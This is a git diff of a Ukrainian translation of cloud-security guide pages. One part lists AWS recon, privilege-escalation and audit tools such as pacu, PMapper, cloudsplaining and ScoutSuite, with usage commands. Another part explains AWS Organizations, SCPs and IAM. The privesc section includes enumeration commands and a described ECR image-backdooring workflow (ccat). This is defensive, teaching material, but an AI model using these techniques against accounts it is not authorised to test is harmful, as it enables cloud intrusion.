### Recon
|
||||
### Рекон
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Багатопотоковий інструмент для збору **інвентаризації**, орієнтований на безпеку AWS, написаний на Ruby.
|
||||
```bash
|
||||
@@ -178,8 +178,8 @@ AWS_PROFILE=<profile> aws_recon \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist - це **інструмент для багатохмарного отримання активів** (імена хостів, IP-адреси) від постачальників хмар.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper допомагає вам аналізувати ваші середовища Amazon Web Services (AWS). Тепер він містить набагато більше функціональності, включаючи аудит на предмет проблем безпеки.
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist є **інструментом для багатьох хмар для отримання активів** (імен хостів, IP-адрес) від постачальників хмар.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper допомагає вам аналізувати ваші середовища Amazon Web Services (AWS). Тепер він містить набагато більше функцій, включаючи аудит на предмет проблем безпеки.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography - це інструмент на Python, який консолідує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі Neo4j.
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography - це інструмент на Python, який об'єднує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі бази даних Neo4j.
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -233,15 +233,15 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase збирає активи та відносини з сервісів і систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase збирає активи та взаємозв'язки з сервісів та систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Використовує python2) Це інструмент, який намагається **виявити всі** [**ресурси AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource), створені в обліковому записі.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Це інструмент для **отримання всіх публічних IP-адрес** (як IPv4, так і IPv6), пов'язаних з обліковим записом AWS.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Виявляє найбільш привілейованих користувачів у сканованому середовищі AWS, включаючи AWS Shadow Admins. Він використовує PowerShell. Ви можете знайти **визначення привілейованих політик** у функції **`Check-PrivilegedPolicy`** в [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu - це відкритий **фреймворк експлуатації AWS**, призначений для тестування безпеки в наступальних цілях проти хмарних середовищ. Він може **перераховувати**, знаходити **неправильні конфігурації** та **експлуатувати** їх. Ви можете знайти **визначення привілейованих дозволів** в [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) всередині словника **`user_escalation_methods`**.
|
||||
- Зверніть увагу, що pacu **перевіряє лише ваші власні шляхи підвищення привілеїв** (не в межах облікового запису).
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Виявляє найбільш привілейованих користувачів у сканованому середовищі AWS, включаючи AWS Shadow Admins. Він використовує powershell. Ви можете знайти **визначення привілейованих політик** у функції **`Check-PrivilegedPolicy`** в [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu - це відкритий **фреймворк експлуатації AWS**, призначений для тестування наступальних заходів безпеки проти хмарних середовищ. Він може **перераховувати**, знаходити **неправильні конфігурації** та **експлуатувати** їх. Ви можете знайти **визначення привілейованих дозволів** в [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) всередині словника **`user_escalation_methods`**.
|
||||
- Зверніть увагу, що pacu **перевіряє лише ваші власні шляхи privesc** (не в межах облікового запису).
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -255,7 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) - це скрипт і бібліотека для виявлення ризиків у конфігурації AWS Identity and Access Management (IAM) для облікового запису AWS або організації AWS. Він моделює різних IAM користувачів і ролей в обліковому записі як орієнтований граф, що дозволяє перевіряти **підвищення привілеїв** та альтернативні шляхи, якими зловмисник може отримати доступ до ресурсу або дії в AWS. Ви можете перевірити **дозволи, використані для знаходження privesc** шляхів у файлах, що закінчуються на `_edges.py` в [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) - це скрипт і бібліотека для виявлення ризиків у конфігурації AWS Identity and Access Management (IAM) для облікового запису AWS або організації AWS. Він моделює різних IAM Users та Roles в обліковому записі як орієнтований граф, що дозволяє перевіряти **підвищення привілеїв** та альтернативні шляхи, якими зловмисник може отримати доступ до ресурсу або дії в AWS. Ви можете перевірити **дозволи, використані для знаходження шляхів privesc** у файлах, що закінчуються на `_edges.py` в [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining - це інструмент оцінки безпеки AWS IAM, який виявляє порушення принципу найменших привілеїв і генерує звіт у форматі HTML з пріоритетом ризику.\
|
||||
Він покаже вам потенційно **переповнені привілеї** клієнта, вбудовані та aws **політики** та які **суб'єкти мають доступ до них**. (Він не тільки перевіряє на privesc, але й інші види цікавих дозволів, рекомендовано використовувати).
|
||||
Він покаже вам потенційно **переповнені** права доступу клієнта, вбудовані та aws **політики** та які **принципи мають доступ до них**. (Він не лише перевіряє на privesc, але й інші цікаві дозволи, рекомендовано використовувати).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -291,7 +291,7 @@ cloudsplaining download --profile dev
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack оцінює облікові записи AWS на наявність **вразливостей перехоплення піддоменів** внаслідок розділених конфігурацій Route53 та CloudFront.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Список репозиторіїв ECR -> Витягти репозиторій ECR -> Задній доступ -> Відправити зворотне зображення
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Список репозиторіїв ECR -> Витягти репозиторій ECR -> Задній доступ -> Завантажити зламаний образ
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag - це інструмент, який **шукає** через публічні знімки Elastic Block Storage (**EBS**) на наявність секретів, які могли бути випадково залишені.
|
||||
|
||||
### Аудит
|
||||
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler - це інструмент з відкритим кодом для проведення оцінок найкращих практик безпеки AWS, аудитів, реагування на інциденти, безперервного моніторингу, зміцнення та готовності до судово-медичної експертизи.
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler - це інструмент з відкритим кодом для оцінки найкращих практик безпеки AWS, аудитів, реагування на інциденти, безперервного моніторингу, зміцнення та готовності до судово-медичної експертизи.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -314,11 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox допомагає вам отримати ситуаційну обізнаність у незнайомих хмарних середовищах. Це інструмент командного рядка з відкритим вихідним кодом, створений для допомоги тестувальникам на проникнення та іншим фахівцям з наступальної безпеки у знаходженні експлуатованих шляхів атаки в хмарній інфраструктурі.
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox допомагає вам отримати ситуаційну обізнаність у незнайомих хмарних середовищах. Це інструмент командного рядка з відкритим вихідним кодом, створений для допомоги тестувальникам на проникнення та іншим фахівцям з наступальної безпеки у знаходженні вразливих шляхів атаки в хмарній інфраструктурі.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite - це інструмент для аудиту безпеки в мульти-хмарах з відкритим кодом, який дозволяє оцінювати безпекову позицію хмарних середовищ.
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite - це інструмент для аудиту безпеки в мульти-хмарному середовищі з відкритим кодом, який дозволяє оцінювати безпекову позицію хмарних середовищ.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -335,8 +335,8 @@ scout aws -p dev
|
||||
### Постійний аудит
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian - це механізм правил для управління обліковими записами та ресурсами публічного хмари. Він дозволяє користувачам **визначати політики для забезпечення добре керованої хмарної інфраструктури**, яка є як безпечною, так і оптимізованою за витратами. Він консолідує багато з тих випадкових скриптів, які мають організації, в легкий і гнучкий інструмент з єдиними метриками та звітністю.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** - це платформа для **безперервного моніторингу відповідності, звітності про відповідність та автоматизації безпеки для хмари**. У PacBot політики безпеки та відповідності реалізовані як код. Всі ресурси, виявлені PacBot, оцінюються відповідно до цих політик для оцінки відповідності політикам. Рамка **автоматичного виправлення** PacBot надає можливість автоматично реагувати на порушення політик, вживаючи попередньо визначені дії.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert - це безсерверна, **реальна** система аналізу даних, яка дозволяє вам **збирати, аналізувати та сповіщати** про дані з будь-якого середовища, **використовуючи джерела даних та логіку сповіщень, які ви визначаєте**. Команди комп'ютерної безпеки використовують StreamAlert для сканування терабайтів журналів щодня для виявлення інцидентів та реагування на них.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** - це платформа для **безперервного моніторингу відповідності, звітності про відповідність та автоматизації безпеки для хмари**. У PacBot політики безпеки та відповідності реалізовані як код. Всі ресурси, виявлені PacBot, оцінюються відповідно до цих політик для оцінки відповідності політикам. Рамки **автоматичного виправлення** PacBot надають можливість автоматично реагувати на порушення політик, вживаючи попередньо визначені дії.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert - це безсерверна, **реальна** система аналізу даних, яка дозволяє вам **інтегрувати, аналізувати та сповіщати** про дані з будь-якого середовища, **використовуючи джерела даних та логіку сповіщення, які ви визначаєте**. Команди комп'ютерної безпеки використовують StreamAlert для сканування терабайтів журналів щодня для виявлення інцидентів та реагування.
|
||||
|
||||
## DEBUG: Захоплення запитів AWS cli
|
||||
```bash
|
||||
|
||||
@@ -8,9 +8,9 @@
|
||||
|
||||
### Облікові записи
|
||||
|
||||
В AWS є **кореневий обліковий запис**, який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між ними.
|
||||
В AWS є **кореневий обліковий запис,** який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між собою.
|
||||
|
||||
Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів з іншого облікового запису** (якщо спеціально не створені мости), таким чином ви можете створити межі між розгортаннями.
|
||||
Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів іншого облікового запису** (якщо спеціально не створені мости), таким чином ви можете створити межі між розгортаннями.
|
||||
|
||||
Отже, в організації є **два типи облікових записів** (ми говоримо про облікові записи AWS, а не про облікові записи користувачів): один обліковий запис, який призначений як обліковий запис управління, і один або кілька облікових записів учасників.
|
||||
|
||||
@@ -20,11 +20,11 @@
|
||||
- Запросити інші існуючі облікові записи в організацію
|
||||
- Видалити облікові записи з організації
|
||||
- Керувати запрошеннями
|
||||
- Застосовувати політики до сутностей (корені, ОУ або облікові записи) в межах організації
|
||||
- Застосовувати політики до сутностей (корені, OU або облікові записи) в межах організації
|
||||
- Увімкнути інтеграцію з підтримуваними AWS сервісами для надання функціональності сервісу для всіх облікових записів в організації.
|
||||
- Можливо увійти як кореневий користувач, використовуючи електронну пошту та пароль, які використовувалися для створення цього кореневого облікового запису/організації.
|
||||
|
||||
Обліковий запис управління має **обов'язки облікового запису платника** і відповідає за оплату всіх витрат, які накопичуються учасниками облікових записів. Ви не можете змінити обліковий запис управління організації.
|
||||
Обліковий запис управління має **обов'язки облікового запису платника** і відповідає за оплату всіх витрат, які накопичуються учасниками. Ви не можете змінити обліковий запис управління організації.
|
||||
|
||||
- **Облікові записи учасників** складають всі інші облікові записи в організації. Обліковий запис може бути учасником лише однієї організації одночасно. Ви можете прикріпити політику до облікового запису, щоб застосувати контролі лише до цього одного облікового запису.
|
||||
- Облікові записи учасників **повинні використовувати дійсну електронну адресу** і можуть мати **ім'я**, загалом вони не зможуть керувати виставленням рахунків (але їм можуть надати доступ до цього).
|
||||
@@ -33,20 +33,20 @@ aws organizations create-account --account-name testingaccount --email testingac
|
||||
```
|
||||
### **Організаційні одиниці**
|
||||
|
||||
Облікові записи можна групувати в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні.
|
||||
Облікові записи можуть бути згруповані в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні.
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
**Політика контролю послуг (SCP)** - це політика, яка визначає послуги та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP є **схожими на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для суб'єктів у членських облікових записах**.
|
||||
**Політика контролю послуг (SCP)** - це політика, яка визначає послуги та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP **схожі на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для сутностей у членських облікових записах**.
|
||||
|
||||
Це є ЄДИНИМ способом, яким **навіть кореневий користувач може бути зупинений** від виконання певних дій. Наприклад, його можна використовувати, щоб зупинити користувачів від вимкнення CloudTrail або видалення резервних копій.\
|
||||
Єдиний спосіб обійти це - також скомпрометувати **майстер-обліковий запис**, який налаштовує SCP (майстер-обліковий запис не може бути заблокований).
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **SCP лише обмежують суб'єктів у обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі.
|
||||
> Зверніть увагу, що **SCP лише обмежують принципалів в обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі.
|
||||
|
||||
Приклади SCP:
|
||||
|
||||
@@ -88,11 +88,11 @@ IAM - це сервіс, який дозволяє вам керувати **А
|
||||
- **Авторизація** - Визначає, до чого може отримати доступ особа в системі після її аутентифікації.
|
||||
- **Контроль доступу** - Метод і процес надання доступу до захищеного ресурсу.
|
||||
|
||||
IAM можна визначити за його здатністю керувати, контролювати та регулювати механізми аутентифікації, авторизації та контролю доступу осіб до ваших ресурсів у вашому обліковому записі AWS.
|
||||
IAM можна визначити за його здатністю керувати, контролювати та регулювати механізми аутентифікації, авторизації та контролю доступу особистостей до ваших ресурсів у вашому обліковому записі AWS.
|
||||
|
||||
### [Кореневий користувач облікового запису AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого отримують доступ, увійшовши за **електронною адресою та паролем, які ви використовували для створення облікового запису**.
|
||||
Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого ви отримуєте доступ, увійшовши за допомогою **електронної адреси та пароля, які ви використовували для створення облікового запису**.
|
||||
|
||||
Зверніть увагу, що новий **адміністратор** матиме **менше прав, ніж кореневий користувач**.
|
||||
|
||||
@@ -100,9 +100,9 @@ IAM можна визначити за його здатністю керува
|
||||
|
||||
### [Користувачі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль та до двох ключів доступу).
|
||||
Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль і до двох ключів доступу).
|
||||
|
||||
Коли ви створюєте користувача IAM, ви надаєте йому **права** шляхом включення його до **групи користувачів**, яка має відповідні політики прав, або **безпосередньо прикріплюючи політики** до користувача.
|
||||
Коли ви створюєте користувача IAM, ви надаєте йому **дозволи**, роблячи його **членом групи користувачів**, до якої прикріплені відповідні політики дозволів (рекомендується), або **безпосередньо прикріплюючи політики** до користувача.
|
||||
|
||||
Користувачі можуть мати **увімкнене MFA для входу** через консоль. API токени користувачів з увімкненим MFA не захищені MFA. Якщо ви хочете **обмежити доступ ключів API користувачів за допомогою MFA**, вам потрібно вказати в політиці, що для виконання певних дій MFA має бути присутнім (приклад [**тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
@@ -117,7 +117,7 @@ IAM можна визначити за його здатністю керува
|
||||
### MFA - Багатофакторна аутентифікація
|
||||
|
||||
Вона використовується для **створення додаткового фактора для аутентифікації** на додаток до ваших існуючих методів, таких як пароль, тим самим створюючи багатофакторний рівень аутентифікації.\
|
||||
Ви можете використовувати **безкоштовний віртуальний додаток або фізичний пристрій**. Ви можете безкоштовно використовувати такі додатки, як Google Authenticator, щоб активувати MFA в AWS.
|
||||
Ви можете використовувати **безкоштовний віртуальний додаток або фізичний пристрій**. Ви можете безкоштовно використовувати такі програми, як Google Authenticator, щоб активувати MFA в AWS.
|
||||
|
||||
Політики з умовами MFA можуть бути прикріплені до наступного:
|
||||
|
||||
@@ -132,32 +132,32 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
Як [**вказано тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), існує багато різних випадків, коли **MFA не може бути використано**.
|
||||
|
||||
### [IAM групи користувачів](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
### [Групи користувачів IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
IAM [група користувачів](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) — це спосіб **прикріпити політики до кількох користувачів** одночасно, що може спростити управління дозволами для цих користувачів. **Ролі та групи не можуть бути частиною групи**.
|
||||
Група [користувачів IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) - це спосіб **прикріплення політик до кількох користувачів** одночасно, що може спростити управління дозволами для цих користувачів. **Ролі та групи не можуть бути частиною групи**.
|
||||
|
||||
Ви можете прикріпити **політику на основі ідентичності до групи користувачів**, щоб всі **користувачі** в групі користувачів **отримали дозволи політики**. Ви **не можете** ідентифікувати **групу користувачів** як **`Principal`** у **політиці** (такій як політика на основі ресурсу), оскільки групи стосуються дозволів, а не аутентифікації, а принципи є аутентифікованими сутностями IAM.
|
||||
|
||||
Ось деякі важливі характеристики груп користувачів:
|
||||
|
||||
- **Група користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**.
|
||||
- Група **користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**.
|
||||
- **Групи користувачів не можуть бути вкладеними**; вони можуть містити лише користувачів, а не інші групи користувачів.
|
||||
- **Не існує групи користувачів за замовчуванням, яка автоматично включає всіх користувачів в обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї.
|
||||
- Кількість і розмір ресурсів IAM в обліковому записі AWS, таких як кількість груп і кількість груп, до яких може належати користувач, обмежені. Для отримання додаткової інформації див. [Квоти IAM та AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
### [IAM ролі](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
### [Ролі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
IAM **роль** дуже **схожа** на **користувача**, оскільки це **ідентичність з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб її **могли приймати будь-хто, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM.
|
||||
Роль IAM **дуже схожа** на **користувача**, оскільки це **ідентифікація з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб бути **прийнятою будь-ким, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM.
|
||||
|
||||
IAM роль складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**.
|
||||
Роль IAM складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**.
|
||||
|
||||
#### AWS Служба безпечних токенів (STS)
|
||||
#### Служба безпеки токенів AWS (STS)
|
||||
|
||||
AWS Служба безпечних токенів (STS) — це веб-сервіс, який полегшує **видачу тимчасових, обмежених привілеїв облікових даних**. Він спеціально розроблений для:
|
||||
Служба безпеки токенів AWS (STS) - це веб-сервіс, який полегшує **видачу тимчасових, обмежених привілеїв облікових даних**. Вона спеціально призначена для:
|
||||
|
||||
### [Тимчасові облікові дані в IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
**Тимчасові облікові дані в основному використовуються з IAM ролями**, але є й інші використання. Ви можете запитати тимчасові облікові дані, які мають більш обмежений набір дозволів, ніж ваш стандартний користувач IAM. Це **запобігає** вам **випадковому виконанню завдань, які не дозволені** більш обмеженими обліковими даними. Перевагою тимчасових облікових даних є те, що вони автоматично закінчуються після встановленого періоду часу. Ви контролюєте тривалість, протягом якої облікові дані є дійсними.
|
||||
**Тимчасові облікові дані в основному використовуються з ролями IAM**, але є й інші використання. Ви можете запитати тимчасові облікові дані, які мають більш обмежений набір дозволів, ніж ваш стандартний користувач IAM. Це **запобігає** вам **випадковому виконанню завдань, які не дозволені** більш обмеженими обліковими даними. Перевагою тимчасових облікових даних є те, що вони автоматично закінчуються після встановленого періоду часу. Ви контролюєте тривалість, протягом якої облікові дані є дійсними.
|
||||
|
||||
### Політики
|
||||
|
||||
@@ -168,7 +168,7 @@ AWS Служба безпечних токенів (STS) — це веб-сер
|
||||
- Політики, керовані AWS (попередньо налаштовані AWS)
|
||||
- Політики, керовані клієнтом: Налаштовані вами. Ви можете створювати політики на основі політик, керованих AWS (модифікуючи одну з них і створюючи свою), використовуючи генератор політик (GUI, який допомагає вам надавати та відмовляти в дозволах) або написавши свої власні.
|
||||
|
||||
За **замовчуванням доступ** **заборонено**, доступ буде надано, якщо вказано явну роль.\
|
||||
За **замовчуванням доступ** є **забороненим**, доступ буде надано, якщо явно вказана роль.\
|
||||
Якщо **існує єдине "Заперечення", воно переважатиме "Дозволити"**, за винятком запитів, які використовують кореневі облікові дані безпеки облікового запису AWS (які за замовчуванням дозволені).
|
||||
```javascript
|
||||
{
|
||||
@@ -192,33 +192,33 @@ AWS Служба безпечних токенів (STS) — це веб-сер
|
||||
]
|
||||
}
|
||||
```
|
||||
The [глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
[Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
Глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут.\
|
||||
Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут.
|
||||
|
||||
#### Вбудовані політики
|
||||
|
||||
Цей вид політик **безпосередньо призначається** користувачу, групі або ролі. Тоді вони не з'являються у списку політик, оскільки інші не можуть їх використовувати.\
|
||||
Вбудовані політики корисні, якщо ви хочете **підтримувати строгі однозначні відносини між політикою та ідентичністю**, до якої вона застосовується. Наприклад, ви хочете бути впевненими, що дозволи в політиці не призначені ненавмисно іншій ідентичності, окрім тієї, для якої вони призначені. Коли ви використовуєте вбудовану політику, дозволи в політиці не можуть бути ненавмисно прикріплені до неправильної ідентичності. Крім того, коли ви використовуєте AWS Management Console для видалення цієї ідентичності, політики, вбудовані в ідентичність, також видаляються. Це тому, що вони є частиною основної сутності.
|
||||
